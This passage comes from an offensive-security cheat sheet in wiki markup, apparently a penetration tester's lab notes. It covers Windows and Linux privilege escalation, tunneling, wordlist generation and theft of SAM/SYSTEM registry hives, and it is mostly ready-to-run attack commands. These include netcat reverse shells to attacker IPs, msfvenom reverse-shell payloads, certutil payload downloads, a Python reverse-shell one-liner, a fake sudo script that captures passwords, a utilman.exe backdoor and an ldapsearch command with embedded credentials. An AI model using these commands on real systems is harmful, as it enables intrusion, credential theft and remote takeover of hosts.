# An elevation of privilege vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation, aka 'Windows UPnP Service Elevation of Privilege Vulnerability'.
# Method 1
.\COMahawk64.exe
[\] Progress: 1/9 2/9 3/9 4/9 5/9 6/9 7/9 8/9 9/9
[+] Hopefully Tomahawk:RibSt3ak69 is added as an admin.
# Method 2
.\COMahawk64.exe "C:\\users\\public\\documents\\nc64.exe -e cmd.exe 192.168.1.123 443"
</syntaxhighlight>

==== HiveNightmare ====

<syntaxhighlight lang="bash">
# https://github.com/GossiTheDog/HiveNightmare
# Works on all supported versions of Windows 10, where System Protection is enabled (should be enabled by default in most configurations).

</syntaxhighlight>

==== LAPS ====

<syntaxhighlight lang="bash">
# If we have valid creds for LDAP we can query LDAP for the local admin password.
ldapsearch -v -x -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -b "DC=hutch,DC=offsec" -h 192.168.120.108 "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
# LAPS is a tool that periodically changes the local administrator's password when it expires. It then stores the password details in the Active Directory.
</syntaxhighlight>

==== Potatos (SeimpersonatePrivilege) ====

[https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#hotPotato Source]

* If the machine is >= Windows 10 1809 & Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#roguePotato Rogue Potato]

* If the machine is < Windows 10 1809 < Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#juicyPotato Juicy Potato]

===== Finding CLSID =====

[https://github.com/ohpe/juicy-potato/tree/master/CLSID https://github.com/ohpe/juicy-potato/tree/master/CLSID]

<syntaxhighlight lang="powershell">
function Lookup-Clsid
{
Param([string]$clsid)
$CLSID_KEY = 'HKLM:\SOFTWARE\Classes\CLSID'
If ( Test-Path $CLSID_KEY\$clsid) {
$name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).'(default)'
$dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).'(default)'
}
$name, $dll
}
</syntaxhighlight>

===== Hot Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/foxglovesec/Potato
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true
</syntaxhighlight>

===== Rotten Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/breenmachine/RottenPotatoNG
After having a meterpreter shell with incognito mode loaded:
MSFRottenPotato.exe t c:\windows\temp\test.bat
</syntaxhighlight>

===== Lonely Potato =====

<syntaxhighlight lang="bash">
Lonely Potato is deprecated and after visiting the repository, there is an indication to move to Juicy Potato.
https://github.com/decoder-it/lonelypotato
</syntaxhighlight>

===== Juicy Potato or Churrasco (SeImpersonate or SeAssignPrimaryToken) =====

<syntaxhighlight lang="bash">
# Download repository
https://github.com/ohpe/juicy-potato
https://github.com/antonioCoco/JuicyPotatoNG
juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
.\JuicyPotatoNG.exe -t * -p C:\users\public\documents\shell1.exe
</syntaxhighlight>

===== Rogue Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/antonioCoco/RoguePotato
# Run in your machine the socat redirection (replace VICTIM_IP):
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
# Execute PoC (replace YOUR_IP and command):
.\RoguePotato.exe -r YOUR_IP -e "command" -l 9999
</syntaxhighlight>

===== GodPotato =====

[https://github.com/BeichenDream/GodPotato BeichenDream/GodPotato (github.com)]

Enables privilege escalation in Windows 2012 - Windows 2022

<syntaxhighlight lang="bash">
GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
</syntaxhighlight>

===== SharpEfsPotato =====

[https://github.com/bugch3ck/SharpEfsPotato bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc. (github.com)]

<syntaxhighlight lang="bash">
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
</syntaxhighlight>

===== PrintSpoofer =====

[https://github.com/dievus/printspoofer https://github.com/dievus/printspoofer]

<syntaxhighlight lang="bash">
# PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.
# To escalate privileges, the service account must have SeImpersonate privileges. To execute:
PrintSpoofer.exe -i -c cmd
</syntaxhighlight>

==== Se-privileges ====

===== Great list and explanation =====

[https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System][https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf Download]

<syntaxhighlight lang="bash">
# This ppt will explain how to exploit different SePrivileges
https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf
</syntaxhighlight>

===== SeManageVolume =====

<syntaxhighlight lang="bash">
https://github.com/xct/SeManageVolumeAbuse
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#sebackupvolume
</syntaxhighlight>

===== SeLoadDriverPrivilege =====

<syntaxhighlight lang="bash">
# See writeup for PG Fuse
# It allows the user to load kernel drivers and execute code with kernel privilges aka NT\System
</syntaxhighlight>

===== SeRestorePrivilege =====

<syntaxhighlight lang="bash">
# SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed up files and directories, thus giving the user read and write access to system files.
# See PG Heist writeup
# This script Enables SeRestorePrivilege for our current (powershell/ise) session.
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1
# You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.
# Example of ways to escalate privilege
# Utilman.exe. This application is triggered by issuing the WIN + U in windows lockscreen
move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old
move C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
# Now RDP to target without logging in. Then press win+u
rdesktop 192.168.153.165
</syntaxhighlight>

[[File:2022-11-image-2.png|thumb]]

===== SeBackupPrivilege =====

<syntaxhighlight lang="bash">
# SeBackUpPrivilege basically allows for full system read.
# See if user is member of 'Backup Operator'.
# https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf
# https://github.com/giuliano108/SeBackupPrivilege
# Example 1
PS C:\scripts> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\scripts> Import-Module .\SeBackupPrivilegeCmdLets.dll
PS C:\scripts> Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup
SeBackupPrivilege is disabled
PS C:\scripts> dir E:\V_BASE
Get-ChildItem : Access to the path 'E:\V_BASE' is denied.
At line:1 char:4
+ dir Set-SeBackupPrivilege
PS C:\scripts> Get-SeBackupPrivilege
SeBackupPrivilege is enabled
PS C:\scripts> dir E:\V_BASE # ...having enabled the privilege, this now works

Directory: E:\V_BASE

Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 18/07/2013 13:04 Private
PS C:\scripts> cd E:\V_BASE\Private
PS E:\V_BASE\Private> dir

Directory: E:\V_BASE\Private

Mode LastWriteTime Length Name
---- ------------- ------ ----
----- 05/07/2013 12:29 306435 report.pdf
PS E:\V_BASE\Private> Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite
Copied 306435 bytes
PS E:\V_BASE\Private>

-------------------
# Example 2
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .
</syntaxhighlight>

===== SeCreateTokenPrivilege =====

<syntaxhighlight lang="bash">
# https://www.greyhathacker.net/?p=1025
Try running it many times
</syntaxhighlight>

==== SMBGhost ====

<syntaxhighlight lang="bash">
# CVE-2020-0796
# https://github.com/danigargu/CVE-2020-0796
# Compile it with Visual Studios. Change payload in exploit.cpp line 204 and add msfvenom payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=8081 -f dll -f csharp
# Compile it. Change 'debug' to 'release', set correct architecture.
# Transfer to target
.\cve-2020-0796.exe
</syntaxhighlight>

==== Software ====

===== Iperius Backup 6.1.0 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/46863
</syntaxhighlight>

===== SystemScheduler =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/45072
</syntaxhighlight>

==== Unquoted Service Path ====

<syntaxhighlight lang="bash">
# In order to exploit Unquoted service path we have to:
# - Be able to write to the target folder - Use icacls
# - Be able to restart the service or machine
# Exmaple (10.1.1.89)
icacls enterprisesystemmanager.exe # We have modify permissions
# Generate a payload
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe > enterprisesystemmanager.exe
# Move original .exe to .bak
move enterprisesystemmanager.exe enterprisesystemmanger.exe.bak
# Transfer our payload to target location - C:\exacqVisionEsm\EnterpriseSystemManager
certutil -urlcache -split -f "http://192.168.119.130/enterprisesystemmanager.exe"
# Catche the connection
rlwrap nc -lvnp 443 1 ⨯
listening on [any] 443 ...
connect to [192.168.119.130] from (UNKNOWN) [10.11.1.251] 19085
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
</syntaxhighlight>

==== Windows XP SP0/SP1 - UPNP service exploit ====

<syntaxhighlight lang="bash">
# https://sohvaxus.github.io/content/winxp-sp1-privesc.html
# Requirenment: Obtained a low privilege shell on your victim's computer. Operating system is Windows XP with SP0 or SP1 installed.
# See write up for PWK 10.11.1.14.
</syntaxhighlight>

==== Windows Exploit Suggester ====

<syntaxhighlight lang="python">
python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls
</syntaxhighlight>

==== Windows Kernel Exploit list ====

<syntaxhighlight lang="bash">
https://github.com/SecWiki/windows-kernel-exploits
</syntaxhighlight>

==== xampp 7.3 ====

<syntaxhighlight lang="bash">
┌──(root💀kali)-[/home/aghanim/Desktop/PG/monster]
└─# cat exploit.ps1
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)
# Original Author: Maximilian Barz (@S1lkys)
# Date: 27/09/2021
# Vendor Homepage: https://www.apachefriends.org
# Version: XAMPP < 7.2.29, 7.3.x < 7.3.16 & 7.4.x < 7.4.4
# Tested on: Windows 10 + XAMPP 7.3.10
# References: https://github.com/S1lkys/CVE-2020-11107
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
# Insert your payload path here
$replace = "C:\Users\Mike\Downloads\rev.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $fil
</syntaxhighlight>

=== Linux ===

==== CVE ====

===== CVE-2009-2698 (Centos 4.8) =====

<syntaxhighlight lang="bash">
https://github.com/xiaoxiaoleo/CVE-2009-2698
</syntaxhighlight>

===== CVE-2021-4034 (polkit) =====

<syntaxhighlight lang="bash">
# https://github.com/joeammond/CVE-2021-4034
# Check suid and see if /usr/bin/pkexec is present and python
# Then compile and run
</syntaxhighlight>

===== CVE-2023–22809 (bypass sudo) =====

<syntaxhighlight lang="bash">
# https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466

</syntaxhighlight>

==== Fail2ban ====

<syntaxhighlight lang="bash">
# See PG Fail writeup
# Example reverse shell
# Option: actionban
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
#actionban = -I f2b- 1 -s -j
actionban = /usr/bin/nc -e /bin/sh 192.168.49.243 9999
</syntaxhighlight>

==== Linux Kernel exploits ====

<syntaxhighlight lang="bash">
# Linux versions
# 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
https://www.exploit-db.com/exploits/15285
# Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4)
https://www.exploit-db.com/exploits/44298
# Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27)
https://www.exploit-db.com/exploits/45010
</syntaxhighlight>

==== Copy Fail - CVE-2026-31431 ====
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

==== Dirty Frag: Universal Linux LPE ====
<syntaxhighlight lang="bash">
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
</syntaxhighlight>

==== ld_reload - Dynamic library hijacking ====

<syntaxhighlight lang="bash">
# If binary is missing a library AND you have write permission to library location, you can hijack the library by adding a malicous one
# List Dynamic Dependencies = ldd
# Ldd is a powerful command-line tool that allows users to view an executable file's shared object dependencies.
ldd /usr/bin/log-sweeper
linux-vdso.so.1 => (0x00007ffe11833000)
utils.so => not found
libc.so.6 => /lib64/libc.so.6 (0x00007f6ce440c000)
/lib64/ld-linux-x86-64.so.2 (0x00007f6ce47da000)
# Generate .so payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.160 LPORT=21 -f elf-so > utils.so
</syntaxhighlight>

==== SUID ====

<syntaxhighlight lang="bash">
find / -perm -u=s -type f 2>/dev/null
</syntaxhighlight>

==== Setuid Screen 4.5.0 ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/41154
</syntaxhighlight>

==== Sudo ====

[https://github.com/saleemrashid/sudo-cve-2019-18634 https://github.com/saleemrashid/sudo-cve-2019-18634]

[https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit]

==== Systemctl (Misconfigured Permissions — sudo/SUID) ====

[https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49]

[https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium][https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Download]

==== Sudo permission to run apache restart ====

<syntaxhighlight lang="bash">
# If your user have these permissions
(root) NOPASSWD: /usr/sbin/service apache2 restart
# First check what file you have write permission to.
# If not, check if there are any bash scripts that can be edited and place a backdoor in it.
# Example
# envvars in /etc/apache2 is writeable.
# Change to another user if there are any on the machine
export APACHE_RUN_USER=DifferentUser
# REMEMBER, APACHE WONT LET YOU RUN IT AS ROOT.
</syntaxhighlight>

==== Software ====

===== Exim 4.84-3 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/39535
# If error, fix with
sed -i -e 's/\r$//' 39535.sh
</syntaxhighlight>

===== OpenSMTPD 6.4.0 < 6.6.1 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/48051
</syntaxhighlight>

==== Writeable passwd ====

<syntaxhighlight lang="bash">
# Generate hashed password
openssl passwd -1 -salt aghanim pass123
# Add to passwd on target
aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash
</syntaxhighlight>

----

== Pivoting/tunneling technique ==

[https://blog.aghanim.net/?p=2294 https://blog.aghanim.net/?p=2294]

[https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html SSH Tunneling + SSHuttle and Chisel - Cheatsheet (trojand.com)]

[https://cheatsheet.haax.fr/network/pivot_techniques/ Offensive Security Cheatsheet (haax.fr)]

[https://github.com/twelvesec/port-forwarding GitHub - twelvesec/port-forwarding: Tunneling and Port Forwarding Cheat Sheet]

=== Chisel ===

<syntaxhighlight lang="bash">
# CHISEL AND PROXYCHAINS AND FOXYPROXY
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).
# Attacker machine
chisel server -p 37777 --reverse
# Target machine
./chisel client Attacker-IP:37777 R:socks
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --> 10.200.57.200 on port 1080 --> 10.200.57.150 (Unreachable from attacker).
proxychains nc -vn 10.200.57.150 3389
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).
proxychains python2 exploit.py.
# OR by using foxy proxy if I want to access http.
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).
# And start foxy proxy. Now I can access the webserver on.
# I can also use proxychains to access HTTP.
proxychains firefox.
# This will open firefox through proxychains.

# Using SOCKS5 with chisel
./chisel server -v -p 8000 --socks5
# On the client/target/victim machine
chisel.exe client -v attacker.com:8000 socks
</syntaxhighlight>

=== Ligolo-ng ===

[https://github.com/nicocha30/ligolo-ng https://github.com/nicocha30/ligolo-ng]

<syntaxhighlight lang="bash">
#### LINUX
# Prepare tunnel
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# Start proxy on kali
./proxy -laddr 192.168.45.195:53 -selfcert
# On target
./agent -connect 192.168.45.195:53 -ignore-cert
# See session in ligolo proxy
ligolo-ng» session
# Add pivot to internal network on kali
sudo ip r add 172.16.213.0/24 dev ligolo
# Check ip route
ip route
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100
172.16.213.0/24 dev ligolo scope link
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.195
192.168.213.0/24 via 192.168.45.254 dev tun0

# In ligolo - in correct session
[Agent: user@target] » start
</syntaxhighlight>

<syntaxhighlight lang="bash">
#### WINDOWS
# To set up the Ligolo-ng proxy on a Windows machine, follow these steps:
# Download Ligolo-ng Proxy:
# Visit the Ligolo-ng GitHub Releases page and download the latest proxy.exe suitable for your Windows architecture.
# Install Wintun Driver:
# Ligolo-ng requires the Wintun driver to create a TUN interface on Windows.
# Download the appropriate wintun.dll from the Wintun repository.
# Place the wintun.dll file in the same directory as proxy.exe.
# Run the Proxy:
# Open Command Prompt and navigate to the directory containing proxy.exe and wintun.dll.
# Execute the proxy with a self-signed certificate:
proxy.exe -selfcert
# This command starts the proxy server with a self-signed TLS certificate.
# Configure the Agent:
# On the target machine, download the corresponding agent binary from the Ligolo-ng GitHub Releases page.
# Run the agent, specifying the IP address and port of your Windows machine running the proxy:
agent.exe -connect :11601 -ignore-cert
# Replace with the actual IP address of your proxy machine.
# Manage Sessions:
# In the proxy's command interface, use the session command to list active sessions.
# Select the desired session to interact with the connected agent.
# Start Tunneling:
# Within the selected session, initiate the tunnel:
tunnel_start --tun
# Replace with your chosen name for the TUN interface.
# Set Up Routing:
# Determine the network configuration of the agent using the ifconfig command within the session.
# On your Windows proxy machine, add routes to access the target network:
route add mask
# Replace , , and with the appropriate values based on the agent's network configuration.

</syntaxhighlight>

=== meterpreter ===

<syntaxhighlight lang="bash">
# Use autoroute module to create a pivot for the other network
use post/multi/manage/autoroute
set SUBNET 192.72.180.0
set SESSION 2
exploit
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.
use auxiliary/server/socks_proxy # Or try socks5
show options
set SRVPORT 9050
exploit
# Now you can use proxychains
# DISCOVER OTHER HOSTS ON THE NETWORK
# On windows you can use post/windows/gather/arp_scanner to discover other machines
# On Linux you can try arp -a
</syntaxhighlight>

=== SSH ===

<syntaxhighlight lang="bash">
ssh -D 1337 user@172.16.0.5 -fN
# Now use proxychains
# If you want to nmap without proxychains
nmap -sS 1.2.3.4 --proxy 127.0.0.1:1080
</syntaxhighlight>

=== sshuttle ===

<syntaxhighlight lang="bash">
# Synopsis
sshuttle [options] -r [username@]sshserver[:port]
# Example
sshuttle -r linux-admin@10.200.122.33 10.200.122.0/24
</syntaxhighlight>

----

== Port Forwarding techniques ==

<syntaxhighlight lang="bash">
# Windows
plink.exe -l root -R 445:127.0.0.1:445 YOURIPADDRESS
# Metasploit
portfwd add -l 9090 -p 9090 -r TARGETIP
# Reverse ssh tunnel, port forwarding 8090 from target to us:
ssh -R 8090:localhost:8090 user@ip
# Local port forward, forward local 8090 to target:
ssh -L 8090:localhost:8090 user@ip
# Chisel
# Example: forward port 8888 to attacker using chisel
# Attacker machine
chisel server -p 8000 --reverse
# Target
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888
# Connection received on attacker machine
server: proxy#1:R:0.0.0.0:8888=>localhost:8888: Listening
</syntaxhighlight>

=== SSH ===

<syntaxhighlight lang="bash">
# Synopsis
ssh -i id_rsa -L [bind_address]port:host:hostport] username@host
# Example
ssh -i id_rsa -L 8000:127.0.0.1:8000 donkeykong@10.10.10.100
</syntaxhighlight>

=== Chisel ===

Example: forward port 8888 to attacker using chisel

<syntaxhighlight lang="bash">
# Attacker machine
chisel server -p 8000 --reverse
# Target
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888
# Connection received on attacker machine
server: proxy#1:R:0.0.0.0:8888=>localhost:8888: Listening
</syntaxhighlight>

----

== Python ==

=== Decompile ===

<syntaxhighlight lang="python">
# https://github.com/rocky/python-decompile3
# Translate python bytecode to python source code.
$ python pyinstxtractor.py
# Decompile .pyc
# https://github.com/zrax/pycdc
git clone https://github.com/zrax/pycdc
cd pycdc
cmake .
make
make check
python pycdc C:\Users\Bobby\example.pyc
</syntaxhighlight>

=== Load module ===

<syntaxhighlight lang="bash">
# If a python script tries to load a module which does not exist, we can place our own module. # https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes
# Add a python reverse shell into the file
echo 'import os,pty,socket;s=socket.socket();s.connect(("192.168.49.165",22));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' > module.py
</syntaxhighlight>

=== PDB (Python Debugger ===

[https://docs.python.org/3/library/pdb.html https://docs.python.org/3/library/pdb.html]

<syntaxhighlight lang="python">
# Add import pdb
import pdb
# In script, before an error message, add
pdb.set_trace()
# Example
-> url = url.group(1)
(Pdb) print url.group(1)
http://swagshop.htb/index.php/admin/das[...]
(Pdb) continue
</syntaxhighlight>

=== Python Extractor ===

<syntaxhighlight lang="python">
# https://github.com/extremecoders-re/pyinstxtractor
# Extract Pyinstaller. Content of pyz and pyc is extracted aswell
Python3 pyinstxtractor.py
</syntaxhighlight>

=== Simple HTTP Server ===

<syntaxhighlight lang="bash">
$python -m SimpleHTTPServer
$python -m http.server
</syntaxhighlight>

----

== Symbolic Link (Windows) ==

<syntaxhighlight lang="bash">
# https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt
# See Symbolic box for example of how to exploit this. In the example below a backup script was copying request.log and saving it in a log. Creating a symbolic link as shown below, the content of id_rsa will be copied by the script and saved, making it possible for me to read it.
.\CreateSymlink.exe C:\xampp\htdocs\logs\request.log C:\Users\Administrator\.ssh\id_rsa
</syntaxhighlight>

----

== Wordlists ==

=== Cewl - Generate wordlist ===

<syntaxhighlight lang="bash">
# Will create a wordlist from words in the URL, and add numbers.
cewl --with-numbers > wordlist
# Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (https://example.com)
cewl -d 2 -m 5 -w docswords.txt https://example.com
</syntaxhighlight>

=== Cupp ===

[https://github.com/Mebus/cupp https://github.com/Mebus/cupp]

<syntaxhighlight lang="bash">
python3 cupp.py -i # Interactive mode where you fill out information about the person
</syntaxhighlight>

=== Datelist - Generate date wordlist ===

[https://raw.githubusercontent.com/screetsec/BruteSploit/master/tools/datelist Source]

<syntaxhighlight lang="bash">
# Generate date list with yyyy-mm-dd format
./datelist.sh -b 2020-01-01 -e 2020-12-31 -f yyyymmdd -o wordlist -s -
-b = beginning date
-e = end date
-f = format
-o = output
-s = spacing
</syntaxhighlight>

=== Seclists ===

[https://github.com/danielmiessler/SecLists/ https://github.com/danielmiessler/SecLists/]

=== Python script ===

<syntaxhighlight lang="python">
import itertools
words = ["firmanavn", "sommer", "prod",
"dev", "database", "app", "server",
"test", "oracle", "doc", "admin", "db",
"password", "administrator", "tech"]
combo = itertools.combinations(words, 2)
combo = list(combo)

with open("/home/kali/wordlist.txt", "w+") as wordlist:
for i in combo:
wordlist.write(i[0] + "." + i[1])
wordlist.write("\n")
wordlist.write(i[0].capitalize() + "." + i[1].capitalize())
wordlist.write("\n")

for i in range(0,2023):
for v in words:
word = v + str(i) + "\n"
wordlist.write(word)
word = v.capitalize() + str(i) + "\n"
wordlist.write(word)
word = v + str(i) + "!" + "\n"
wordlist.write(word)
word = v.capitalize() + str(i) + "!" + "\n"
wordlist.write(word)
</syntaxhighlight>

----

== Useful Linux Commands ==

=== Add SUID (setuid) bit to file ===

<syntaxhighlight lang="bash">
chmod 4755 /tmp/sh
</syntaxhighlight>

=== Add user to sudoers file ===

<syntaxhighlight lang="bash">
# Add User to sudoers file
echo username ALL=(ALL) ALL >> sudoers
</syntaxhighlight>

=== BruteForce using su when having a shell - Password Spray ===

<syntaxhighlight lang="bash">
https://github.com/carlospolop/su-bruteforce
./su.sh -u ray -w xato-net-10-million-passwords-10000.txt
</syntaxhighlight>

=== Cat, cut delimeter ===

<syntaxhighlight lang="bash">
# Cat a file and cut delimiter space in field 3
cat $log | cut -d' ' -f3-
</syntaxhighlight>

=== Copy output to clipboard ===

<syntaxhighlight lang="bash">
cat file | xclip -selection clipboard
</syntaxhighlight>

=== Enable cursor in Terminal Kali ===

<syntaxhighlight lang="bash">
tput cnorm
</syntaxhighlight>

=== Output tty to shell or redirect to file ===

<syntaxhighlight lang="bash">
# From eavsdropper room in THM
# If a user types in his password and you have a shell you can redirect output to your shell.
cat sudo
#!/bin/bash
read password
echo $password > /dev/pty/0 # Choose the correct pty.
# Now export PATH så when the user runs the command it will execute your sudo script instead of real sudo.
# Run
export $PATH=/tmp:$PATH
# Now wait for the user to type his password and it will pop up in your shell.
</syntaxhighlight>

=== Kill/close open port on linux ===

<syntaxhighlight lang="bash">
fuser -k PORT/tcp
</syntaxhighlight>

=== Reset kali to default settings ===

BE CAREFUL AS THIS MIGHT BREAK SOME PACKAGES. Always take snapshot before running the commands below.

<syntaxhighlight lang="bash">
# If you're having problems with kali acting up, you can reset kali to default.
# To reset Kali Linux to the default package and kernel, you will need to run the following commands:
sudo apt-get update && sudo apt-get upgrade
sudo apt-get dist-upgrade
sudo apt-get autoremove
sudo apt-get autoclean
sudo update-grub
</syntaxhighlight>

=== Restricted shell (rbash) - Linux Restricted Shell Bypass ===

<syntaxhighlight lang="bash">
# https://vk9-sec.com/linux-restricted-shell-bypass/
# List of escape methods
https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/
# If in rshell (Restricted shell), use this command to list all available commands
compgen -c
# Rbash escape ssh
ssh alfred@10.11.1.101 -t 'bash' --noprofile
</syntaxhighlight>

[[File:2022-11-image-1.png|thumb]]

=== Read .db files ===

<syntaxhighlight lang="bash">
# For DB files, like users.db. Read content with sqlitebrowser
sqlitebrowser users.db
</syntaxhighlight>

=== Read Windows registry files on Linux ===

<syntaxhighlight lang="bash">
# Start hivexsh, and load a hive.
# https://linux.die.net/man/1/hivexsh
hivexsh
> load SECURITY
</syntaxhighlight>

=== ss instead of netstat ===

<syntaxhighlight lang="bash">
ss -tlpn
-t display tcp socket
-l display listening socket
-p show process using packets
-n dont resolve service name
</syntaxhighlight>

=== Fix Desktop Environment if its broken ===

<syntaxhighlight lang="bash">
https://www.kali.org/docs/general-use/xfce-faq/
If you are having issues, it may be that a config file is not set properly. First, backup .cache, .config, and .local. Next, running rm -r .cache .config .local and then rebooting will likely fix those issues.
REMEMBER TO DELETE IT FROM THE HOME USER and not root.
</syntaxhighlight>

=== Fix Kali Login loop ===

<syntaxhighlight lang="bash">
# On the login screen type
CTRL + ALT + F1
# then type this command from the home/kali dir.
sudo mv ~/.Xauthority ~/.Xauthority.backup sudo chmod 700 ~ sudo chown -R kali:kali ~ sudo service lightdm restart
</syntaxhighlight>

----

== Useful Windows Commands ==

=== Stealing SAM and SYSTEM ===

[https://book.hacktricks.xyz/windows-hardening/stealing-credentials https://book.hacktricks.xyz/windows-hardening/stealing-credentials]

This files should be '''located''' in ''C:\windows\system32\config\SAM'' and ''C:\windows\system32\config\SYSTEM.'' But '''you cannot just copy them in a regular way''' because they protected.

<syntaxhighlight lang="bash">
C:\windows\system32\config\SAM
C:\windows\system32\config\SYSTEM
C:\windows\system32\config\regback\system.old
C:\windows\system32\config\regback\system
C:\windows\system32\config\regback\sam.old
C:\windows\system32\config\regback\sam
</syntaxhighlight>

==== From Registry ====

The easiest way to steal those files is to get a copy from the registry:

<syntaxhighlight lang="bash">
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
</syntaxhighlight>

'''Download''' those files to your Kali machine and '''extract the hashes''' using:

